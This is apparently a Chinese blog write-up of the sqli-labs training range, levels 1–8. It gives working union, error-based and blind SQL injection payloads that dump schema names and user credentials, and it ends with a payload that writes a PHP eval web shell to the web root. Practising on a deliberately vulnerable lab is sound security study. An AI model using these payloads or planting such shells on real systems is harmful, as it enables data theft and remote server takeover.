sqlilab学习
sqlilabs练习,主要参考郁离歌大佬的博客和SQL注入天书。
联合查询篇
less-1
1、先输入?id=1 and 1=2
判断发现回显正常,显然不是数字型注入。
2、在?id
后面加上'
,回显报错,存在字符型注入。
3、在后面加上注释符#
或--+
后,页面回显正常,可以得出存在单引号字符型注入。
4、使用以下payload:
1 | ?id=1' order by 3--+ //1,2,3回显均正常,4回显不正常。 |
说明此表有3列。
5、使用payload:
1 | ?id=-1' union select 1,2,3--+ |
联合查询语句查看页面是否有回显,发现页面回显2、3,说明页面有2个显示位。
看一下源码,mysql_fetch_array只被调用了一次,
而mysql_fetch_array从结果集中取得一行作为关联数组
或数字数组或二者兼有,具体看第二个参数是什么。
所以这里无论怎么折腾最后只会出来第一行的查询结果。
只要让第一行查询的结果是空集0或-1,即union左边的select子句查询结果为空,
那么union右边的查询结果自然就成为了第一行,打印在网页上了。
6、使用payload爆库名:
1 | ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+ |
7、使用payload爆库security的表
1 | ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ |
ps:table_schema=后面可以直接加单引号括起的数据库名,也可以是数据库的16进制,过滤单引号可用。
首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,
用户权限等信息,下面说一下常用的几个表
SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等。是show columns from schemaname.tablename的结果取之此表。
8、爆列
1 | ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ |
9、爆数据
1 | ?id=-1' union select 1,username,password from users where id=2--+ //查看第二栏的数据 |
SQL语句:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
less-2
同1的做法,只是闭合的SQL语句不同。
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
less-3
语句不同。
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
less-4
语句不同。
1 | $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; |
盲注篇
基础知识:sql注入截取字符串
同时也要介绍ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
less-5
报错注入
1、使用left()爆基本信息(版本号)
1 | ?id=1'and left(version(),1)<6--+ |
爆数据库长度
1 | ?id=1'and length(database())<9--+ |
2、爆当前用户名数据库等基本信息
双查询注入:
1 | ?id=1' union Select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.columns group by a--+ |
3、爆表
1 | ?id=1' union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23 |
如需爆不同的数据库,在security
处做修改。
limit 0,1
可以用来修改,爆出当前目录下的所有值。
4、爆列
1 | ?id=1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23 |
同理,在security
和email
处修改。
5、爆数据
1 | ?id=1' union select count(*),1, concat('~',(select email_id from emails limit 0,1),'~', floor(rand()*2)) as a from information_schema.tables group by a%23 |
修改点在列名email_id
和表名emails
SQL语句:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; |
less-6
同less-5,只是闭合方式有显著不同。
SQL语句:
1 | $id = '"'.$id.'"'; |
less-8
时间盲注
1、爆库名
1 | (select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA) |
2、爆表名
1 | (select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1) |
3、爆列名
1 | (select column_name from information_schema.columns where table_name='flagug' limit 1,1) |
4、爆数据
1 | (select flag4a23 from ctfshow.flagug limit 0,1) |
文件导入:
相关原理:SQLI-LABS修炼笔记(三)
less-7
根据less-1中查询数据库的绝对路径
1 | ?id=-1' union select 1,@@datadir,3--+ |
得到路径为/var/lib/mysql/
测试下得到SQL语句为'))
蒙一个常见路径,上蚁剑
构筑payload:
1 | ?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php'--+ |